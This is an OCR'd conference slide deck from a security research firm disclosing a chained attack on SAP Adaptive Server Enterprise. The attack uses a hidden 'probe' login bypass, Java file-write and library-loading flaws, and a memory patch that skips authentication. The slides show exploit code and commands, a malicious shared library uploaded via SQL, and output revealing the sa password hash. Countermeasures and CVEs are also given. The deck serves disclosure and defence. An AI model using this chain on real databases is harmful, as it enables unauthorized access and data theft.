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Why it's important to keep databases secured?

¢ Regulatory compliance
¢ Lost business costs

+ Company reputation

per compromised record. (http://resources.infosecinstitute.com/databases-

vulnerabilities-costs-of-data-breaches-and-countermeasures/)
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SAP Adaptive Server Enterprise

¢ Product with more than 25 years history
¢ Used by major financial institutions: banks, insurance companies

¢ SAP claims that ASE is secure database management system

4 I
“SAP ASE boasts over 30,000 customers, including 90% of the world’s banks and
security firms. These companies trust SAP ASE to keep their mission-critical systems

up and running”

- /
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Vulnerabilities in ASE reported over last years

Java Buffer Design errors SQL injections
vulnerabilities | overflows

2011 1

2012 2 4 3

2013 2 1
2014 1 2
2015 1 A7

pl erLans 5 RSAConference?015 v:“



#RSAC

Chained database attack

¢ Two or more vulnerabilities chained to own the database
1. Break into the system
2. Elevate privileges to super user

3. Grab the data or do anything else

/K\ Trustwave:
SplderLabS 6 RSAConference?015 - #



RSAConference?2015

San Francisco | April 20-24 | Moscone Center

Two-phase commit
process: backdoor
old




#RSAC

What is “probe” login?

+ Little known “probe” login exists on each ASE back from 12.5
(2001)

¢ Special processing in server login handler
¢ Password is not used for authentication!

+ Negotiation callbacks mechanism is used instead

% Trustwave :
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Probe login exists on any ASE

sybase@ARENA T15 isql -5 ARENA -U =a
Password:
1> select name from syslogins

% Trustwave 4
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1> sp_displaylogin probe

ate of Last Password Change: Feb 21 2815 9:1Z2PM

azsword expiration interwval: @
assword expired: NO

inimum password length: 6
aximum failed logins: B

urrent failed login attemptsz: B
uthenticate with: AUTH_DEFAULT

“probe” login details

/% Trustwave 5
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Normal authentication process

W Send login request with login/password (

Respond with login success/failure

e = ——

% Trustwave:
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~

Type: Login Packet (Ox0Z)
3tatus: Not last buffer (Q)
Jize: 512

Channel: ©

Packet Number: O

Data (504 bytes)
Data: 504F4D5045495000000000000000000000000000000000000 . . .
[Length: 5041

= Tabular Data Stream

Type: Login Packet (Ox0Z)

Status: Last buffer in request or response (1)
Size: 107

Channel: 0

Packet Number: 0O

Window: 0

TDS Packet

0030
0040
0050
0060
0070
0080
0090
00a0
00bho

01 00 8f 1c 00 00 02 00 OZ OO0 00 00 0O S50 4F ...l Ll PO
4d 50 45 49 00 00 Q0 00 00 00 00 00 00 00 00 90 MPEI.... ........

Trustwave*
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Probe authentication process

a ) Send login request containing “probe” r I

Respond with random challenge if login exists

Send modified challenge using fixed algorithm

Verify modified challenge and reply with status

-
«

% Trustwave o
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Transformation logic

+ 8 byte input is transformed into another 8 byte output using hard-
coded function named com _uninitialize tds text (on

Windows it could be found in the
%SYBASE%\%SYBASE OCS%\dlI\Ii1bsybcomn.dll)

¢ Transformation is based on constant values, for example:

v4 = *(_BYTE *)(al + 3) ~ *(_BYTE *)(a2 + 1) ~
*(_BYTE *)(al + 2);

% TFUS_tWElVG' iy =
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Build custom client for “probe” access

¢ Custom client connects to almost any SAP ASE instance
¢ Runs arbitrary commands as unprivileged login “probe”

¢ Helper in deploying further attacks, i.e. chained exploit

/ﬂ\ Trustwave:
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What does official documentation say...

Software Developer Kit 12.5.1 = Client-Library'C Reference Manual = Client-Library Topics = Security features > Adaphive Server security features

Chapter 2: Client-Librans Toglcs

Security handshaking: Challenge/Response
Semers use challengeiresponse security handshaking to provide an additional level of login security checking.

To provide the response that this handshake method requires, an application must be coded as follows:
® Hefore calling ct_connect, the application must call ct_con_props to set one of the followwing properties:
o C5_SEC_CHALLEMGE to request Sybase-defined challengefresponse security handshaking.
o C5_SEC_APFPDEFIMED to request Open Server application-defined challengeiresponse security handshaking.
[f either or baoth of these properies is C5_TRUE, ct_connect invokes the application's negotiation callback in response to server challenges.
® The application most contain a negotiation callback that is coded to return the required response.

® The application calls ct_callback to install the callback either atthe context level or for & specific connection.

See "Defining a negotiation callback".

% Trustwave:
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Algorithm

Set login name to “probe”
Set connection property CS_SEC CHALLENGE

Setup negotiation callback routine

Q=@ @Puncd

In the callback routine load I 1tbsybcomn.dl 1 and forward
challenge processing to it

¢ Connect

¢ Do SQL/RPC commands of our choice!

% Trustwave Z
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hlLib = LoadLibrary("libsvhcomn.d1l1™)
if [hLib == NULL)
{

fprintf (stderr, "Failed to load 3vbase Common-Likraryhn™):
return C©3 FATL;

com uninitislize tds text =
(FCOM TNINITIALIZE TDS TEXT) GetProciddress (hLib,
"eow uninitialize tods text'):

if (eom uninitialize tds text == NULL)

{
fprintf (stderr, "Failed to locate response routine’in®™):

return C3 FAIL:
*outmsgid = O0x05;
cutbuffmt->datatype = C3_BINARY TYPE:

result = com uninitialize tds text (connection, inbuf,
inhuffmt—>maxlength, outbuf, outhufoutlen) :

Authentication callback setup

% Trustwave:
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Command Prompt

% ase_probe AREMA “'print BEversion"
ASE_probe utility

Connection to the server succeeded.
About to execute: print EEversion

Server message:

Message number: B, Severity 18, State 1. Line 1

Server ‘AREHA’

Message String: Adaptive Server Enterprizesl6.@ GA PLAL-EBF 22544 SMP-P-x86_64-Enterprise
Linux-azelboBspldpldl ~3523.764-bhit /FBOATue Apr 15 13:24:31 2014

aze_probe ARENA “'create table tempdbh..demof{id int>"
ASE_probe wutility
Connection to the server succeeded.
Abhout to execute: create tahle tempdb..demoCid int>

% ase_probe AREMA “'create table tempdb..demo¢id int>"
ASE_probe utility

Connection to the server succeeded.

About to execute: create table tempdb..demofid int>

Server message:

Message number: 2714, Severity 16, State 1, Line 1

Server ‘AREHA’

Message String: There is already an object named ‘demo’ in the databasze.

ERROR: ex_execute_cmd: The following command causzed an errop:

ERROR: create table tempdb..demo{id int}
ERROR: command execution failed

? -

Trustwave
'SpiderLabs’




#RSAC

Countermeasures

¢ Lock “probe” login immediately (may have side effects)
¢ Patch the database: 15.7 SP132, 16.0 SP0O1

¢ Firewall: allow only connections from trusted hosts

+ Monitor database activity: watch for “probe” connections

This issue was reported by Trustwave to SAP in Jan 2014 and took
two attempts to be fixed properly. Initially they “fixed” it by disallowing
SQL text type...

% TFUS_tWElVG' iy =
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Java subsystem

+ If enabled allows anyone to invoke standard Java functionality via
SQL bridge

¢ Contains many vulnerabilities, we pick two ©

/ﬂ\ Trustwave:
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Vulnerability detalls: writing to disk via Java

¢ Custom SecurityManager implementation is buggy

¢ The checkPermission method is incomplete

¢ As a result, files outside $SYBASE can be read/written (there is a
check that the path must not be under the SYBASE home)

% Trustwave : P
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_init()

zysteml

Compose exploit code: here a file is
created with process owner details

"ewil.c" 5L, 58C

% Trustwave:
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[sybazePARENA 15 gcc -c¢ -mb64 -fPIC evil.c
[sybasel@ARENA ~15 14 -shared -o evil.so evil.o
[sybase@ARENA ~15 _

Build the shared library on
attacker’s machine

% Trustwave
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[sybasel@ARENA od -t x1 -N 188 evil.=o
H 46 BZ H1 B1 B8 BB BB B8
HEBBBZA B8 B1 BB BB BB BB BZ A8
HEBEB 48 B8 BB BB BB B8 b3 B3 B8
HEBBB6A B8 48 HA 38 @8 B4 B8 48
HEBE 1808 B8 BS HA BB BB BB BB B8
HEBE12A B8 BB HE BB BB BB BB B8
HEBE 148 Ha

HEBE144

[sybasel@ARENA

Dump bytes of just compiled binary
for transfer to the target via SQL

% Trustwave
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Command Prompt

$ ase_probe AREMA "set nocount on declare Bp int, Bf java.io.RandomficcessFile select Bf =
new java.io.RandomficcessFile(’ /tmprevil.zo’, ‘ru’'? select BF>>I[ 1127 szelect Bf >3
[ 169> select BOf>>[ 1¢76> select BEF>>[ 178>

ASE_probe utility

Connection to the server succeeded.

About to execute: set nocount on declare Bp int, Bf java.io.RandomficcessFile select Bf = n

ew java.io.RandomAccessFiled’ stmpsevil.so’, ‘ru') select E@F>>[uriteBytelC127) select Bf>>[
writeByte {692 select Bf >>[writeBytel{?6> select Bf>>[uriteByte 1{78>

File read/write via java.io.RandomAccessFile to
/tmp/evil.so on ASE filesystem

% Trustwave
SpiderLabs’
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[sybasePARENA 715 od -t %1 stmprevil.so
HEBBBEA 7f 45 4c 46

HEBBBE 1

[sybase@ARENA ~15 _

The command is executed on victim ASE
to verify file upload

')Ki Trustwave:
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Vulnerability detalls: code exec via Java

¢ Again, bad custom SecurityManager implementation

¢ No checkLink method in the PCAJvmSecur 1tyManager class

¢ As aresult, loading native libraries from disk is possible without
any security checks

% Trustwave
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Command Prompt

% asze_probe ARENA “declare Bz java.lang.System select Bs>>[loadl{’ tmpsevil.so’>"
ASE_probe utility
Connection to the server succeeded.

About to execute: declare Bs java.lang.System select Bs>>[loadl<’ tmpsevil.so’?

%

Now it's time to load the exploit...

%Trus_twave
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g Hed Hat Enterprise Linux 6 64-bit
[sybasel@ARENA pwd

home/sybasze

[sybase@ARENA ~15 1s

[sybase@ARENA 15 1s

id.log
[sybase@ARENA ~15 cat id.log
id=581(=sybase) gid=5B81(sybase) groups=5HB1(sybase) context=unconfined_u:unconfin
ed_r:unconf ined_t:sB-sH:cB.c1B823
[sybase@ARENA ~15 _

ASE filesystem

%ﬁ Trustwave
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Advanced exploitation: memory patching

t SAP ASE login procedure patch to skip authentication

t Modify the logic__checkauth to return 1 immediately:

t =or eax, eax -» 31 cH
i inc eax -» ff cH
i ret -> c3

I nop -> 9H

cet {longltlogin__checkauth=8x989898c3cBf fcH31

"patch_login__checkauth"” 14L, 247C

/% Trustwave
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Advanced exploitation: compile the library

_init()

systeml(
Hx989898c3chAf fcB31 )

"evil.c" 5L, 122C

W Tstwave: s
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Before library loading: passwords are checked

[sybasel@ARENA 15 i=ql -5 ARENA -U =a -P dummy
=q 4H8Z, Level 14, State 1:
Server 'ARENA’ :
Login failed.
T-LIBRARY error:
ct_connect(): protocol specific layer: external error: The attempt to co
mmect to the server failed.
[sybase@PARENA ~15 _

/%%\ Trustwave
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After library loading: any password works!

[sybasel@ARENA 15 i=ql -5 ARENA -U =a -P dummy
1> select password from syslogins where name = ’sa

il

HxcHH?Z238163Zbdble?baadBebliibef4edbHadceb1147d31bf £9d479c1ddf 1594762l d9853aad91

bbZHal

(1 row affected)
1>

ﬁ Trustwave
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Countermeasures

¢ Do not install/disable Java if not used
¢ Patch the database: 15.7 ESD#3

+ Firewall again to allow only trusted client connections

/ﬂ\ Trustwave:
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Chained database attack: recap

¢ Use “probe” access vulnerability to make initial unprivileged
connection

¢ Use file access Java vulnerability to upload attacker’s code to the
server

¢ Use native library loading vulnerability to trigger attacker’s code
execution

% Trustwave : 777
SplderLabS 37 RSAConference?015 - #



#RSAC

Summary

+ Unauthorized access via “probe” login (CVE-2014-6284): all
versions of SAP ASE up to 15.7 SP132, 16.0 SPO1

¢ Java file access (CVE-2015-3328): 15.7 ESD#3
¢ Java native library loading (CVE-2015-3311): 15.7 ESD#3

/ﬂ\ Trustwave
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Apply what you've learned

4

4

¢

Inventory all databases in your company: manual inspection or use third-
party products

Disable unused functionality: see ASE documentation at
https://help.sap.com/adaptive-server-enterprise/

Patch your databases on time: updates at http://support.sap.com

Audit/monitor databases for suspicious activity: built-in auditing or third-
party products

Evaluate permissions granted to legitimate users: use custom scripts or
third-party products

Watch for new SAP security notes: https://service.sap.com/securitynotes/

b

e R
o T g

% Trustwave AT
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ASE in Amazon Cloud

Arnazon Web Serices Home

\e/awsmarketplace

Sign in or Create a new account Your Account | Help | Sell on AWS Marketplace

Shop All Categories « Search AWS Marketplace m r| Your Software

SAP Adaptive Server Enterprise

on Red Hat Enterprise Linux RHELG

Sold by: SAP America, Inc

® ASE is now available on Amazon for BYOL (Bring Your Own License) model. SAP ASE is a high performance enterprise-class
relational database management system that is well suited for mission-critical, data-intensive environments. With all the capabilities
including an efficient aptimizer combined with a highly secure emvironment and tools to perform maonitoring and administration, ASE
is an easy database of choice when compared to competition.

Customer Rating Be the first to review this product i ou will heve an opportunity to
Continue reviewy your order hefore
launching of being charged.

Latest Version 157

Base Operating System Linux/Unix, Red Hat Enterprize Linux RHELG

Pricinn Nataile
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Resources

¢ SAP Adaptive Server Enterprise: https://help.sap.com/adaptive-
server-enterprise

¢ SAP Security Notes: https://service.sap.com/securitynotes/

¢ Trustwave security advisories:
https://www.trustwave.com/Resources/Security-Advisories/

% Trustwave:
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Q&A

Contact: Martin Rakhmanov
martin.raknmanov@gmail.com
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